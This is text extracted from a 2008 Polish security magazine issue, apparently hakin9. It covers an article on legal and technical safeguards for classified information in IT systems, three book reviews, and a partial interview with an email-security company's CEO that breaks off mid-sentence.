Z artykułu dowiesz się

• jak zapewnić bezpieczeństwo informacjom nie-

jawnym przetwarzanym w systemach i sieciach
teleinformatycznych

Co powinieneś wiedzieć

• znać podstawowe zasady ochrony informacji

niejawnych

Bezpieczeństwo informatyczne informacji niejawnych

hakin9 Nr 01/2008

www.hakin9.org

tor bezpieczeństwa teleinforma-
tycznego, pracownik pionu ochro-
ny, odpowiada za bieżącą kontrolę
zgodności funkcjonowania syste-
mu lub sieci teleinformatycznej ze
szczególnymi wymaganiami bez-
pieczeństwa oraz za kontrolę prze-
strzegania procedur bezpiecznej
eksploatacji. Ustawa określa rów-
nież wymagania dla osób odpo-
wiedzialnych za bezpieczeństwo
teleinformatyczne. Stanowisko lub
funkcję administratora sytemu al-
bo inspektora bezpieczeństwa te-
leinformatycznego mogą pełnić
osoby, które posiadają obywatel-
stwo polskie, posiadają poświad-
czenie bezpieczeństwa odpowied-
nie do klauzuli informacji niejaw-
nych przetwarzanych w systemach
lub sieciach teleinformatycznych,
które odbyły przeszkolenie w za-
kresie ochrony informacji niejaw-
nych i specjalistyczne szkolenie
z zakresu bezpieczeństwa tele-
informatycznego

prowadzonego

przez służby ochrony państwa. Ak-
tualnie kurs dla kandydatów na ad-
ministratorów systemu i inspekto-
rów bezpieczeństwa teleinforma-
tycznego trwa jeden dzień i kosz-
tuje 250 złotych. Systemy i sieci te-
leinformatyczne, w których prze-
twarza się informacje niejawne,
podlegają akredytacji przez służby
ochrony państwa. Dopuszczenie
sytemu lub sieci teleinformatycznej
do pracy następuje na podstawie

dokumentacji bezpieczeństwa te-
leinformatycznego, na którą skła-
dają się szczególne wymagania
bezpieczeństwa (SWB) i procedu-
ry bezpiecznej eksploatacji (PBE).
W zależności od klauzuli informacji
niejawnych przetwarzanych w sys-
temie, ww. dokumentacja podle-
ga uzgodnieniu lub zatwierdzeniu.
W przypadku informacji niejawnych
stanowiących tajemnicę państwo-
wą dokumentacja ta jest indywidu-
alnie zatwierdzana przez właści-
wą służbę ochrony państwa (Agen-
cję Bezpieczeństwa Wewnętrzne-
go lub Służbę Kontrwywiadu Woj-
skowego), w terminie 30 dni od jej
otrzymania. Natomiast w przypad-
ku tajemnicy służbowej niewniesie-
nie zastrzeżeń w terminie 30 dni od
jej przedstawienia przez kierowni-
ka jednostki organizacyjnej służ-
bom ochrony państwa upoważnia

do rozpoczęcia przetwarzania in-
formacji niejawnych w systemie lub
sieci teleinformatycznej. Dodat-
kowo dla systemów i sieci, w któ-
rych przetwarza się tajemnicę pań-
stwową, wymagany jest certyfikat
akredytacji bezpieczeństwa tele-
informatycznego. Ww. certyfikat
wydawany jest po przeprowadze-
niu postępowań sprawdzających
wobec osób mających dostęp do
systemu lub sieci, po zatwierdze-
niu przez właściwą służbę ochrony
państwa SWB i PBE oraz po prze-
prowadzeniu audytu bezpieczeń-
stwa systemu lub sieci teleinfor-
matycznej. Ww. audyt ma na celu
weryfikację poprawności realizacji
wymagań i procedur określonych
w SWB i PBE.

Dokumentacja

Dokumentację bezpieczeństwa te-
leinformatycznego, na którą skła-
dają się SWB i PBE, opracowuje
się po przeprowadzeniu analizy ry-
zyka z uwzględnieniem warunków
charakterystycznych dla jednost-
ki organizacyjnej, w której mają
być przetwarzane informacje nie-
jawne. Analizy ryzyka można do-
konać stosując na przykład meto-
dy opisane w raporcie technicznym
ISO/IEC TR 13335-3 Technika in-
formatyczna – Wytyczne do za-
rządzania bezpieczeństwem sys-
temów informatycznych, Część 3:
Techniki zarządzania bezpieczeń-
stwem systemów informatycznych.
Raport przedstawia cztery warian-
ty podejścia do analizy ryzyka: po-
dejście podstawowego poziomu

Tabela 1.

Zawartość dokumentu Szczególne Wymagania Bezpieczeństwa

Lp. Zawartość dokumentu SWB

osoby odpowiedzialne za wdrożenie środków zapewniających bez-
pieczeństwo teleinformatyczne

zadania osób odpowiedzialnych za bezpieczeństwo teleinformatycz-
ne

granice i lokalizacja stref kontrolowanego dostępu oraz środki ich
ochrony

środki ochrony kryptograficznej, elektromagnetycznej, technicznej
lub organizacyjnej systemu lub sieci teleinformatycznej

inne zastosowane środki ochrony zapewniające bezpieczeństwo te-
leinformatyczne informacji niejawnych

zasady zarządzania ryzykiem

zasady szkolenia z zakresu bezpieczeństwa teleinformatycznego
osób odpowiedzialnych za bezpieczeństwo teleinformatyczne oraz
osób uprawnionych do pracy w systemie lub sieci teleinformatycznej

Rysunek 1.

Bezpieczne stanowisko komputerowe – wersja z obudową

ekranującą

hakin9 Nr 01/2008

www.hakin9.org

Bezpieczna Firma

bezpieczeństwa, podejście niefor-
malne, szczegółową analizę ryzy-
ka i podejście mieszane. Podsta-
wowa różnica pomiędzy nimi doty-
czy stopnia szczegółowości anali-
zy ryzyka.

W oparciu o wyniki analizy ry-

zyka dobiera się zabezpieczenia.
Zastosowane zabezpieczenia po-
winny być efektywne kosztowo
i uwzględniać wymagania wynika-
jące z przepisów prawa, wymaga-
nia biznesowe i wymagania będą-
ce wynikiem analizy ryzyka. Ryzy-
ko, jakie powstaje po wprowadze-
niu zabezpieczeń, nazywamy ryzy-
kiem szczątkowym.

SWB powinny w sposób kom-

pletny i wyczerpujący opisywać
budowę, zasady działania i eks-
ploatacji oraz charakterystykę sy-
temu lub sieci teleinformatycznej.
Dane o systemie lub sieci teleinfor-
matycznej powinny obejmować: lo-
kalizację systemu, typ wykorzysty-
wanych urządzeń oraz oprogramo-
wania, sposób realizacji połączeń
wewnętrznych i zewnętrznych,
konfigurację sprzętową i ustawie-

nie mechanizmów zabezpieczają-
cych oraz opis środowiska eksplo-
atacji (opis środowiska globalne-
go, środowiska lokalnego i środo-
wiska elektronicznego). Natomiast
charakterystyka systemu lub sieci
teleinformatycznej powinna okre-
ślać między innymi klauzulę tajno-
ści informacji niejawnych, które bę-
dą w nich przetwarzane, katego-

rie uprawnień osób uprawnionych
do pracy w systemie lub sieci w za-
kresie dostępu do przetwarzanych
w nich informacji niejawnych (w za-
leżności od klauzuli tajności tych
informacji) oraz tryb bezpieczeń-
stwa pracy systemu lub sieci tele-
informatycznej (dedykowany, sys-
temowo-podwyższony lub wielopo-
ziomowy).

SWB opracowuje się w fazie

projektowania, na bieżąco rozwi-
ja w fazie wdrażania i modyfikuje
w fazie eksploatacji – przed doko-
naniem zmian w systemie lub sieci
teleinformatycznej. Z kolei PBE po-
winny opisywać sposób i tryb po-
stępowania w sprawach związa-
nych z bezpieczeństwem informacji
oraz określać zakres odpowiedzial-
ności użytkowników systemu i sie-
ci, a także pracowników mających
do nich dostęp.

PBE opracowuje się i uzupełnia

w fazie wdrażania oraz modyfikuje
w fazie eksploatacji – przed dokona-
niem zmian w systemie lub sieci te-
leinformatycznej.

Podstawowe

wymagania

Bezpieczeństwo teleinformatycz-
ne informacji niejawnych przetwa-
rzanych w systemach lub sieciach
teleinformatycznych zapewnia się
poprzez: ochronę fizyczną, ochro-
nę elektromagnetyczną, ochro-
nę kryptograficzną, niezawodność

Tabela 2.

Wykaz obowiązkowych procedur bezpiecznej eksploatacji

Lp. Procedury bezpieczeństwa

administrowania systemem lub siecią teleinformatyczną

bezpieczeństwa osobowego

bezpieczeństwa dokumentów i materiałów niejawnych, w tym pro-
cedur sporządzania kopii z tych dokumentów oraz niszczenia doku-
mentów i ich kopii

ochrony kryptograficznej, elektromagnetycznej, fizycznej, niezawod-
ności transmisji, kontroli dostępu do urządzeń systemu lub sieci tele-
informatycznej

bezpieczeństwa urządzeń i oprogramowania

zapewnienia ciągłości działania systemu lub sieci teleinformatycznej

zarządzania konfiguracją

audytu bezpieczeństwa

Rysunek 2.

Bezpieczne stanowisko komputerowe

Tabela 3.

Elementy bezpieczeństwa teleinformatycznego

informacji niejawnych

Lp. Elementy bezpieczeństwa teleinformatycznego

informacji niejawnych

ochrona fizyczna

kontrola dostępu do urządzeń systemu lub sieci teleinformatycznej

niezawodność transmisji

ochrona kryptograficzna

ochrona elektromagnetyczna

Bezpieczeństwo informatyczne informacji niejawnych

hakin9 Nr 01/2008

www.hakin9.org

transmisji i kontrolę dostępu do
urządzeń systemu lub sieci telein-
formatycznej.

Ochrona fizyczna

Ochronę fizyczną informacji niejaw-
nych zapewnia się poprzez utwo-
rzenie stref kontrolowanego dostę-
pu (strefa administracyjna, strefa
bezpieczeństwa, specjalna strefa
bezpieczeństwa) oraz zastosowa-
nie środków ochrony zabezpiecza-
jących pomieszczenia w tych stre-
fach. Środki ochrony fizycznej po-
winny zapewniać ochronę fizycz-
ną pomieszczeń przed: nieupraw-
nionym dostępem, podsłuchem
i podglądem. Przy stosowaniu
środków ochrony fizycznej obo-
wiązuje zasada adekwatności, tzn.
środki ochrony fizycznej powinny
odpowiadać klauzuli tajności i ilo-
ści informacji niejawnych, liczbie
i poziomowi dostępu do tych in-
formacji zatrudnionych osób oraz
uwzględniać wytyczne służb ochro-
ny państwa przed zagrożeniami ze
strony obcych służb specjalnych

(w tym także w stosunku do pań-
stwa sojuszniczego). Strefa admini-
stracyjna powinna zapewniać kon-
trolę osób i pojazdów, natomiast
w strefie bezpieczeństwa należy

zapewnić kontrolę wejść i wyjść
oraz kontrolę przebywania. W tym
celu należy wprowadzić system
przepustek lub inny system kontro-
li dostępu uprawniający do wejścia

Rysunek 3.

Przykłady obudów ekranujących

Rysunek 4.

Przykład pomieszczenia do przetwarzania informacji niejawnych

��

��
��

��

��
��
��
��

��

��
��
��

hakin9 Nr 01/2008

www.hakin9.org

Bezpieczna Firma

do strefy bezpieczeństwa, a także
zorganizować system przechowy-
wania kluczy do pomieszczeń chro-
nionych, szaf pancernych i innych
pojemników służących do prze-
chowywania informacji niejawnych
stanowiących tajemnicę państwo-
wą. Środki ochrony fizycznej po-
winny posiadać certyfikaty i świa-
dectwa kwalifikacyjne przyznane
na podstawie innych przepisów,
np. w oparciu o polskie normy.

Informacje niejawne o klauzu-

li zastrzeżone można przetwarzać
w strefie administracyjnej, natomiast
informacje stanowiące tajemnicę
państwową i służbową o klauzuli
poufne można przetwarzać w stre-
fie bezpieczeństwa. Przetwarza-
nie informacji niejawnych o klauzuli
zastrzeżone wiąże się z zapewnie-
niem ochrony fizycznej, kontroli do-
stępu do urządzeń systemu lub sie-
ci teleinformatycznej oraz z zapew-
nieniem niezawodności transmisji.
W przypadku przetwarzania infor-
macji niejawnych stanowiących ta-
jemnicę państwową i tajemnicę
służbową o klauzuli poufne należy
– oprócz wymagań jak dla klauzu-
li zastrzeżone – zapewnić ochronę
kryptograficzną i ochronę elektro-
magnetyczną.

Ochrona

elektromagnetyczna

Ochrona elektromagnetyczna sys-
temu lub sieci teleinformatycz-
nej polega na niedopuszczeniu do
utraty poufności i dostępności in-
formacji niejawnych przetwarza-
nych w urządzeniach teleinforma-
tycznych. Utrata poufności nastę-
puje na skutek emisji ujawniającej
pochodzącej z tych urządzeń. Na-
tomiast utrata dostępności nastę-
puje w wyniku zakłócenia pracy
urządzeń teleinformatycznych za
pomocą impulsów elektromagne-
tycznych o dużej mocy. Ochronę
elektromagnetyczną zapewnia się
przez umieszczanie urządzeń te-
leinformatycznych, połączeń i linii
w strefach kontrolowanego dostę-
pu spełniających wymagania w za-
kresie tłumienności elektromagne-
tycznej lub przez zastosowanie od-

Podstawowe pojęcia związane z bezpieczeństwem

teleinformatycznym

• bezpieczeństwo teleinformatyczne – należy przez nie rozumieć ochronę informacji

niejawnych przed utratą właściwości gwarantujących bezpieczeństwo, w szczegól-
ności przed utratą poufności, dostępności i integralności,

• incydent bezpieczeństwa teleinformatycznego – każde zdarzenie naruszają-

ce bezpieczeństwo teleinformatyczne, spowodowane w szczególności awa-
rią systemu lub sieci teleinformatycznej, działaniem osób uprawnionych lub
nieuprawnionych do pracy w tym systemie lub sieci albo zaniechaniem osób
uprawnionych,

• akredytacja bezpieczeństwa teleinformatycznego – dopuszczenie systemu lub

sieci teleinformatycznej do wytwarzania, przetwarzania, przechowywania lub
przekazywania informacji niejawnych,

• certyfikat akredytacji bezpieczeństwa teleinformatycznego – dopuszczenie syste-

mu lub sieci teleinformatycznej do przetwarzania informacji niejawnych stanowią-
cych tajemnicę państwową,

• dokumentacja bezpieczeństwa teleinformatycznego systemu lub sieci teleinfor-

matycznej – szczególne wymagania bezpieczeństwa oraz procedury bezpiecznej
eksploatacji danego systemu lub sieci teleinformatycznej, sporządzone zgodnie
z zasadami określonymi w ustawie,

• szczególne wymagania bezpieczeństwa (SWB) – dokument wyczerpująco opi-

sujący budowę oraz zasady działania i eksploatacji systemu lub sieci teleinfor-
matycznej,

• procedury bezpiecznej eksploatacji (PBE) – dokument określający zasady i tryb

postępowania w sprawach związanych z bezpieczeństwem teleinformatycznym,
a także zakres odpowiedzialności użytkowników systemu lub sieci teleinforma-
tycznej oraz personelu teleinformatycznego,

• administrator systemu – osoba lub zespół osób odpowiedzialnych za funk-

cjonowanie systemów lub sieci teleinformatycznej oraz za przestrzeganie
zasad i wymagań bezpieczeństwa systemów i sieci teleinformatycznej,

• inspektor bezpieczeństwa teleinformatycznego – pracownik pionu ochrony

odpowiedzialny za bieżącą kontrolę zgodności funkcjonowania systemu lub
sieci teleinformatycznej ze SWB oraz za kontrolę przestrzegania PBE.

Podstawy prawne

• Rozdział 10 – Bezpieczeństwo systemów i sieci teleinformatycznych – ustawa

z dnia 22 stycznia 1999 roku o ochronie informacji niejawnych (Dz. U. z 2005 r.
Nr 196, poz. 1631 ze zmianami).

• Rozporządzenie Prezesa Rady Ministrów z dnia 25 sierpnia 2005 roku w sprawie

podstawowych wymagań bezpieczeństwa teleinformatycznego (Dz. U. Nr 171,
poz. 1433).

• Zalecenia Departamentu Bezpieczeństwa Teleinformatycznego Agencji

Bezpieczeństwa Wewnętrznego w sprawie bezpieczeństwa teleinformatycz-
nego.

powiednich urządzeń teleinforma-
tycznych, tzw. bezpiecznych sta-
nowisk komputerowych, które speł-
niają normę TEMPEST (Temporary
Emanation and Spurious Transmis-
sion), połączeń i linii o obniżonym
poziomie emisji, czy też wreszcie
ekranowanie urządzeń teleinfor-
matycznych, połączeń i linii z jed-
noczesnym filtrowaniem zewnętrz-

nych linii zasilających i sygnało-
wych. Urządzenia klasy TEMPEST
wykonywane są w trzech klasach
bezpieczeństwa elektromagnetycz-
nego: AMSG 720 B, AMSG 788,
AMSG 784. Środki ochrony elek-
tromagnetycznej powinny posiadać
certyfikat ochrony elektromagne-
tycznej wydany przez służby ochro-
ny państwa. Listę certyfikowanych

Bezpieczeństwo informatyczne informacji niejawnych

środków oraz ich producentów
można znaleźć na stronie interne-
towej ABW (www.abw.gov.pl).

Ochrona

kryptograficzna

Ochrona kryptograficzna informa-
cji niejawnych, które przetwarza-
ne są w systemie lub sieci teleinfor-
matycznej, polega na zastosowaniu
mechanizmów gwarantujących ich
poufność, integralność oraz uwie-
rzytelnienie. Siła mechanizmów
kryptograficznych musi być odpo-
wiednia do klauzuli informacji nie-
jawnych. Ochronę kryptograficzną
stosuje się w przypadku przekazy-
wania informacji niejawnych – w for-
mie transmisji lub utrwalonych na
elektronicznych nośnikach informa-
cji – poza strefę kontrolowanego
dostępu. Ochronę kryptograficz-
ną stosuje się od klauzuli poufne
wzwyż. Środki ochrony kryptogra-
ficznej powinny posiadać certyfi-
kat ochrony kryptograficznej wyda-

ny przez służby ochrony państwa.
Listę certyfikowanych środków oraz
ich producentów można znaleźć na
stronie internetowej ABW.

Niezawodność

transmisji

Niezawodność transmisji polega na
zapewnieniu integralności i dostęp-
ności informacji niejawnych przeka-
zywanych w systemach i sieciach
teleinformatycznych. Zapewnia się
ją w szczególności poprzez zapew-
nienie zapasowych łączy telekomu-
nikacyjnych.

Kontrola dostępu

W celu zapewnienia kontroli dostę-
pu do systemu lub sieci teleinfor-
matycznej kierownik jednostki or-
ganizacyjnej lub osoba przez nie-
go upoważniona powinna usta-
lić warunki i sposób przydzielania
uprawnień osobom uprawnionym
do pracy w systemie lub sieci te-
leinformatycznej. Natomiast admi-

nistrator systemu powinien określić
warunki oraz sposób przydzielania
tym osobom kont i mechanizmów
kontroli dostępu, a także zapewnić
ich właściwe wykorzystanie. Przy
przetwarzaniu informacji niejaw-
nych stanowiących tajemnicę pań-
stwową należy zadbać o uniemożli-
wienie jednej osobie w sposób nie-
kontrolowany dostępu do wszyst-
kich zasobów systemu lub sieci te-
leinformatycznej.

Podsumowanie

Przepisy prawa określają minimalne
wymagania związane z bezpieczeń-
stwem teleinformatycznym informa-
cji niejawnych. Oprócz nich należy
uwzględnić zalecenia służb ochro-
ny państwa dotyczące bezpieczeń-
stwa teleinformatycznego informacji
niejawnych oraz polskie normy do-
tyczące bezpieczeństwa informacji.
Normy te stanowią źródło tzw. do-
brych praktyk, a w szczególności są
to: PN-ISO/IEC 17799: 2007 Tech-
nika informatyczna – Techniki bez-
pieczeństwa – Praktyczne zasady
zarządzania bezpieczeństwem in-
formacji i PN-ISO/IEC 27001: 2007
Technika informatyczna – Techniki
bezpieczeństwa – Systemy zarzą-
dzania bezpieczeństwem informacji
– Wymagania. l

O autorze

Andrzej Guzik – audytor systemów zarządzania jakością i zarządzania bezpieczeń-
stwem informacji, specjalista w zakresie ochrony informacji prawnie chronionych, re-
daktor portalu www.ochronainformacji.pl
Kontakt z autorem: a.guzik@ochronainformacji.pl

hakin9 Nr 01/2008

www.hakin9.org

Księgozbiór

hakin9 Nr 01/2008

www.hakin9.org

Tytuł: E-biznes bez ryzyka. Zarządzanie bezpieczeństwem w Sieci

Autor: Jonathan Reuvid

Wydawca: Helion

Rok wydania w Polsce: 2007

Liczba stron: 256

E-biznes i bezpieczeństwo to słowa, które w ostat-
nim czasie robią furorę. Większość przedsiębiorstw
poza fizycznymi oddziałami posiada te mniej namacal-
ne – wirtualne. Z drugiej strony obserwuje się coraz bar-
dziej wyrafinowane techniki oszustw i wyłudzeń, żerujące
na nieświadomych i naiwnych użytkownikach Internetu.
Właśnie te zagadnienia – i wiele więcej – porusza Jona-
than Reuvid w swojej książce pod tytułem E-biznes bez
ryzyka. Zarządzanie bezpieczeństwem w Sieci.

Pozycja została podzielona na pięć głównych części

traktujących kolejno o: zagrożeniach dla informacji i sys-
temów informacyjnych, rodzajach ryzyka i źródłach
zagrożeń, ochronie oprogramowania i danych osobo-
wych, zarządzaniu działaniami operacyjnymi i dobrej
praktyce oraz o planowaniu awaryjnym i przywróceniu
poprawnego funkcjonowania organizacji po wystąpieniu
zdarzenia kryzysowego. Po tych kilku tytułach można
wnioskować, że autor porusza ważne i aktualne proble-
my elektronicznego biznesu.

Wśród wielu istotnych kwestii znajdziemy tematy,

które nie są często podejmowane przez innych autorów,
m. in. monitoring pracowników, jego zasadność i pod-
stawy prawne, kwestię urządzeń mobilnych i ich wyko-
rzystania poza czasem pracy (ilu pracodawców wie, co
z laptopami robią ich podwładni w domu?), zmniejsza-
nie ryzyka – od metody małych kroków poprzez szyb-
kie metody na radykalnych rozwiązaniach kończąc, czy

wreszcie systemy uwierzytelniania i święcąca w ostat-
nim czasie tryumfy biometria. Na pierwszy rzut oka nie-
które rozdziały wydają się nieaktualne – jak choćby Bez-
pieczeństwo sieciowe w 2005 roku, jednak po dokład-
niejszym ich przestudiowaniu widać, że wskazują na
bardzo aktualne problemy. Z zalet książki warto również
wymienić przystępny język, łatwość z jaką się ją czyta
oraz metodę wyjaśniania terminów na zasadzie analogii
i obrazów. Studia przypadku z ostatnich rozdziałów są
ciekawym podsumowaniem przedstawionych zagadnień.

Na poczet plusów należy także zaliczyć wyważe-

nie treści pod względem liczby odwołań do standardów
i specyfikacji, która nie jest ani zbyt skromna, ani nie przy-
tłacza. Cieszy fakt, że uzupełniono tekst o polskie stan-
dardy razem z ich omówieniem. Z drobiazgów ujął mnie
zrzut ekranu z polskiej strony Google prezentujący wyniki
w ojczystym języku – szczegół, ale cieszy i podkreśla sza-
cunek dla czytelnika.

Komu poleciłbym tę pozycję? Praktycznie każde-

mu człowiekowi zainteresowanemu bezpieczeństwem.
Książka nie odstręcza fachowością, ale z drugiej strony
nie jest trywialna. Poruszane zagadnienia są aktualne
i często krytyczne dla funkcjonowania e-biznesu. Prak-
tyczne rady, w jaki sposób zmniejszać ryzyko i zwalczać
typowe problemy, znacząco podnoszą wartość pozycji.

Marcin Kulawinek

Tytuł: PHP Bezpieczne Programowanie

Autor: Chris Shiflett

Wydawca: Helion

Rok wydania w Polsce: 2006

Liczba stron: 128

Bezpieczeństwo odgrywa ważną rolę w serwisach webo-
wych. Bez zapewnienia odpowiedniego poziomu bez-
pieczeństwa nie byłoby banków internetowych, klientów
pocztowych uruchamianych z poziomu przeglądarki, sys-
temów zarządzania treścią, wszelkich blogów itp. Z pew-
nością także PHP nie osiągnęłoby takiej popularności.
Faktem jest, że każde zabezpieczenie można obejść,
a jedyne, co możemy zrobić, to utrudnić życie hakerom
czy crackerom. Z tego właśnie powodu warto przeczytać

książkę PHP Bezpieczne Programowanie. Jak sam tytuł
wskazuje, powie nam ona wiele o tym, jak należy pisać
aplikacje internetowe, by nie narażać na nieprzyjemno-
ści naszych użytkowników – a także siebie, również pod
względem prawnym, gdyż wiele serwisów pełni funkcje
objęte regulacjami prawnymi.

Chris Shiflett – autor opisywanej tutaj książki – przed-

stawia nam różne aspekty bezpieczeństwa skryptów
PHP, pokazując często spotykane luki, które programi-

hakin9 Nr 01/2008

www.hakin9.org

Księgozbiór

hakin9 Nr 01/2008

www.hakin9.org

ści zostawiają w kodzie oraz sposoby, w jakie napastnik
może je wykorzystać. Dzięki takiej konwencji możemy
zrozumieć także samą ideę wprowadzania danego
zabezpieczenia i spojrzeć na to z perspektywy atakują-
cego. Z pewnością, znając tę ideę, będziemy w stanie
opracować nowe sposoby zabezpieczeń lub udoskona-
lić już istniejące.

Czego konkretnie możemy się nauczyć dzięki tej

książce zawierającej sto dwadzieścia stron informa-
cji? Zaczynamy od ataków: na formularze, XSS, CSRF
oraz manipulacji adresami URL (wszystko to mieści się
w jednym – najdłuższym w książce – rozdziale). Następ-
nie szybko przechodzimy do baz danych, gdzie dowiadu-
jemy się czym jest atak nazywany SQL Injection, a potem
poznajemy sposoby na ochronę przed przechwytywa-
niem sesji oraz ciasteczek, w których znajduje się więcej
pożądanych przez hakera informacji, niż się niektórym

wydaje. Autor pisze także o wstrzykiwaniu kodu, naraża-
niu na niebezpieczeństwo przeglądania przez intruza sys-
temu plików, autoryzacji użytkowników, a na koniec zosta-
wia garść rad podpowiadających co zrobić, gdy webser-
wisy znajdują się na wspólnym hoście. Zawarto tutaj
także trzy dodatki traktujące odpowiednio o: dyrektywach
konfiguracyjnych PHP, jego kilku kluczowych funkcjach
oraz o kryptografii, do której wykorzystuje się wbudowa-
ne funkcje PHP.

PHP Bezpieczne Programowanie zawiera co prawda

kilka błędów, jednak są to jedynie literówki. Autor bardzo
dokładnie opisał poszczególne rodzaje ataków i możli-
wości ochrony przed nimi, tak więc warto przeczytać tę
książkę – zwłaszcza, jeśli planujemy tworzyć poważne
serwisy webowe.

Roger Zacharczyk

Tytuł: Podstawy ochrony komputerów

Autor: Rick Lehtinen, Deborah Russell, G.T. Gangemi

Wydawca: Helion

Rok wydania w Polsce: 2007

Liczba stron: 304

Zadbaj o bezpieczeństwo swojego komputera – to cytat
z okładki książki: Podstawy ochrony komputerów, wyda-
nej przez jedno z bardziej uznawanych wydawnictw na
świecie O'Reilly, w Polsce dostarczanej przez Helion.

Co znajdziemy w książce? Dziesięć rozdziałów podzie-

lonych na cztery główne części plus dodatki. Pierwsze,
co przedstawi nam autor, to jak wyglądało bezpieczeń-
stwo wczoraj, a jak przedstawia się jego aktualny poziom
– historia rozwoju szeroko rozumianej ochrony informacji
i nie tylko. Kolejny dział wprowadzi nas w tytułową ochronę
komputerów. Dowiemy się z niego, co i jak należy chronić.
Autor porusza nie tylko zagadnienia oczywiste, jak nie zapi-
sywanie haseł na karteczkach, lecz omawia także ochro-
nę przed niepowołanym dostępem osób trzecich, wirusa-
mi, robakami. Przeczytamy, jak powinna wyglądać polityka
bezpieczeństwa w firmie, jakie zagrożenia niesie ze sobą
Internet i które rodzaje ataków można w nim przeprowa-
dzić. Dostępna jest przystępnie opisana specyfikacja pro-
tokołów sieciowych, opis możliwości i zagrożeń, jakie są
z nimi związane. Następny dział przybliża zagadnienia szy-
frowania, kodowania oraz przedstawia, co oznacza zabez-
pieczanie sieci i jak sobie z nim radzić. Autor opisuje histo-
ryczne początki znanych algorytmów szyfrujących oraz
ich ewolucję, przedstawia, które z nich na chwilę obecną
dają nam wystarczającą ochronę. Ostatnia część (poza
dodatkami) porusza tematykę innych rodzajów zabezpie-
czeń. Dowiemy się z niej o fizycznej i biometrycznej ochro-
nie zasobów oraz o metodach ochrony i unikania zagro-

żeń w sieciach bezprzewodowych. Warto zwrócić uwagę
na dodatki, w których jasno przedstawione zostały takie
zagadnienia jak Orange book czy TEMPEST.

Z rzeczy, które zauważa się już w pierwszych roz-

działach, rzuca się w oczy nakład pracy, jaki włożył autor
w uporządkowanie i usystematyzowanie wiedzy. Wszel-
kie terminy są krok po kroku definiowane i wyjaśniane.
Rzadko – acz w bardzo istotnych miejscach – znajdzie-
my ilustracje obrazujące dane zagadnienie. W ramkach
umieszczono praktyczne wskazówki i ciekawostki odno-
śnie aktualnie omawianego tematu.

Znaczną część książki zajmują odwołania do spe-

cyfikacji, praw i dyrektyw. W większości są to dokumen-
ty rządu Stanów Zjednoczonych – wydawnictwo Helion
postarało się o uzupełnienie tych paragrafów o odwoła-
nia do polskich ustaw i rozporządzeń, co podnosi war-
tość pozycji. Dla kogo jest ta książka? Właściwie dla
każdego, kto chce wiedzieć więcej o bezpieczeństwie –
z nastawieniem jednak na osoby, które są w tym temacie
początkujące (co nie oznacza, że bardziej zaawansowa-
ni nie znajdą nic dla siebie).

Marcin Kulawinek

Serdeczne podziękowania dla wydawnictwa Helion,
za udostępnienie książek do recenzji.

www.hakin9.org

hakin9 Nr 01/2008

Wywiad

hakin9:

Proszę przybliżyć naszym Czytelni-

kom strategię firmy na najbliższe pół roku/
rok.

Marcin Piołun-Noyszewski:

Specyfika pro-

duktów M2 NET powoduje, że firma musi bar-
dzo szybko reagować na wymagania stawiane
przez rynek, zatem jednym z zadań, które sto-
ją przed nami, jest tworzenie i implementowa-
nie nowych technik antyspamowych i ochro-
ny poczty. Np. ostatnio nasz zespół wymyślił
nową, innowacyjną technikę wykrywania phi-
shingu opartą na analizie adresów nadaw-
ców. Właśnie wydaliśmy nową wersję syste-
mu ochrony poczty dla IBM Domino, kończy-
my także przygotowywanie piątej wersji SMI!
for Gateway, a najpóźniej w pierwszym kwar-
tale 2008 chcemy wydać nową wersję SMI! for
Exchange.

h9:

Jaki jest Wasz najważniejszy, flagowy pro-

dukt?

MP-N:

Nasza firma zajmuje się dwoma nie-

co różniącymi się obszarami działalnośći.
Pierwsza to bezpieczeństwo poczty elektro-
nicznej – najważniejszą linią produktową jest
seria Secure Mail Intelligence! Jest to wielo-
silnikowy system zabezpieczenia poczty, za-
wierający 8 silników antywirusowych i po-

nad 23 technologie wyszukiwania spamu.
Z drugiej strony, nasza firma produkuje sys-
temy dedykowane i aplikacje biznesowe,
a tutaj prym wiedzie system relacji z klienta-
mi – CRM, system realizacji badań sondażo-
wych przez Internet – Internet Survey, syste-
my obiegu dokumentów, rożne dedykowane
aplikacje wielowarstwowe i aplikacje do kryp-
tografii.

h9:

Jak próbujecie się wyróżnić na rynku?,

Przecież jest tak wiele dobrych produktów. Co
robicie, aby je wypromować? Czy nie boicie się
konkurencji?

MP-N:

Duży procent sprzedaży zapewnia

nam eksport i sprzedaż poprzez zagranicz-
nych partnerów, stąd skupiamy się na działa-
niach promujących ten sposób sprzedaży. Do
najważniejszych technik promocji należą tu-
taj po prostu bezpośrednie kontakty. Nie ma
co ukrywać, nie jesteśmy zbyt szeroko obec-
ni w Polsce i niezbyt często korzystamy z tra-
dycyjnych mechanizmów promocji. Ale chce-
my to zmienić, ponieważ zamierzamy bar-
dziej aktywnie sprzedawać nasze produkty
także na rynku polskim. Niestety, nie jest to
łatwe, bo zasada cudze chwalicie, swego nie
znacie jest tutaj w 100% prawdziwa, o czym

Wywiad z Marcinem

Piołunem – Noyszewskim

prezesem zarządu M2 NET

Od 13 lat zajmuje się

projektowaniem i

tworzeniem oprogramowania

komputerowego, a od 7 lat

pełni funkcję prezesa zarządu

M2 NET S.A. Ma 32 lata i jest

absolwentem socjologii na

Uniwersytecie Warszawskim.

Marcin Piołun-Noyszewski

hakin9 Nr 01/2008

www.hakin9.org

niejednokrotnie się przekonaliśmy na własnej skórze.
Zaskakujące jest to, że SMI! chętnie kupuje np. admi-
nistracja rządowa w Wielkiej Brytanii czy w Kazachsta-
nie, a w Polsce mamy jednostkowe przypadki instalacji
w sektorze administracji publicznej. Jeśli chodzi o kon-
kurencję, to na świecie jest tylko około pięciu podob-
nych produktów. My stawiamy na funkcjonalność, oni
na markę. Myślę że w dłuższej perspektywie to nasze
podejście przyniesie premię.

h9:

Jak oceniacie zainteresowanie klientów Waszymi

produktami? Czy jest ono ściśle związane ze świadomo-
ścią klientów odnośnie zagrożeń płynących z Internetu,
czy ta świadomość/zainteresowanie wzrosła, czy zmala-
ła na przestrzeni ostatnich lat?

MP-N:

Właśnie, kwestia tego, skąd pochodzi zagro-

żenie, różni podejście klientów dawniej i obecnie.
W Polsce wyraźnie widać zainteresowanie głównie
funkcjami antyspamowymi, następnie antywirusowy-
mi – czyli cechami, które zabezpieczają firmę przed
atakami z zewnątrz. Okazuje się jednak, że najwięk-
sza liczba zagrożeń pochodzi z wewnątrz firmy. Za
3⁄4 wszystkich ataków odpowiedzialni są tzw. insiders,
czyli pracownicy lub byli pracownicy przedsiębior-
stwa. Między innymi dlatego w normie 27001 tak du-
ży nacisk kładzie się na kontrolę poczynań pracowni-
